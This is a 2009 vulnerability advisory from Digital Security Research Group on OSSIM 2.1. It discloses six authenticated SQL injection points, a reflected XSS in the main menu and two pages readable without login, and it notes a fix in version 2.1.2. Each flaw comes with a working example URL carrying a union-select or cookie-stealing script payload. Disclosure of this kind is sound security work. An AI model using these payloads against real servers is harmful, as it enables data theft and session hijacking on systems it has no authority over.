155 lines
No EOL
3.3 KiB
Text
155 lines
No EOL
3.3 KiB
Text
OSSIM - Open Source Security Information Management is vulnerable to multiple security vulnerabilities.
|
|
|
|
1. SQL Injections
|
|
2. Linked XSS
|
|
3. Unauthorized access
|
|
|
|
|
|
|
|
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-055
|
|
|
|
|
|
Application: OSSIM
|
|
Versions Affected: 2.1 and may be 2.1.1
|
|
Vendor URL: http://ossim.net/
|
|
Bug: SQL Injection,XSS, Unauthorized access
|
|
Exploits: YES
|
|
Reported: 07.09.2009
|
|
Vendor response: 09.09.2009
|
|
Solution: YES (version 2.1.2)
|
|
Date of Public Advisory:21.09.2009
|
|
Author: Sintsov Alexey of Digital Security Research Group [DSecRG]
|
|
|
|
Details
|
|
*******
|
|
|
|
1.1 SQL injections in repository
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - repository_document.php
|
|
Vulnerable parameter - id_document
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/repository/repository_document.php?id_document=-3
|
|
union select 1,2,user(),4,5,6--&maximized=1&search_bylink=&pag=1
|
|
|
|
1.2 SQL injections in repository
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - repository_links.php
|
|
Vulnerable parameter - id_document
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/repository/repository_links.php?id_document=-3
|
|
union select 1,user(),3,4,5,6
|
|
|
|
|
|
1.3 SQL injections in repository
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - repository_editdocument.php
|
|
Vulnerable parameter - id_document
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/repository/repository_editdocument.php?id_document=-3
|
|
union select 1,user(),3,4,5,6
|
|
|
|
|
|
|
|
1.4 SQL injection in policy scripts
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - getpolicy.php
|
|
Vulnerable parameter - group
|
|
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/policy/getpolicy.php?group=0 and 1=1
|
|
|
|
|
|
1.5 SQL injection in policy scripts
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - newhostgroupform.php
|
|
Vulnerable parameter - name
|
|
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/host/newhostgroupform.php?name=' union select
|
|
user(),'b','c','d','f
|
|
|
|
|
|
1.6 SQL injection in policy scripts
|
|
|
|
Attacker need to be authorized in system for success.
|
|
|
|
Vulnerable script - modifynetform.php
|
|
Vulnerable parameter - name
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/net/modifynetform.php?name=' union select
|
|
user(),'b','c','d','e','f','g','h','a
|
|
|
|
|
|
And others scripts in policy menu.
|
|
|
|
|
|
2. Linked XSS in main menu
|
|
|
|
Vulnerable script /ossim/
|
|
Vulnerable parameter - option
|
|
|
|
Example
|
|
*******
|
|
|
|
http://OSSIM-SERVER/ossim/?option=0" onload=alert(document.cookie) a="
|
|
|
|
3. Access to data without authentication.
|
|
|
|
Unauthorized user can see graphs and infrastructure
|
|
|
|
|
|
Example
|
|
*******
|
|
|
|
Access to the graph:
|
|
http://OSSIM-SERVER/ossim/graphs/alarms_events.php
|
|
|
|
Internal infrastructure view:
|
|
http://OSSIM-SERVER/ossim/host/draw_tree.php
|
|
|
|
|
|
|
|
|
|
Fix Information
|
|
***************
|
|
|
|
Upgrade to version 2.1.2
|
|
|
|
|
|
|
|
About
|
|
*****
|
|
|
|
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
|
|
|
|
|
|
Contact: research [at] dsecrg [dot] com
|
|
http://www.dsecrg.com |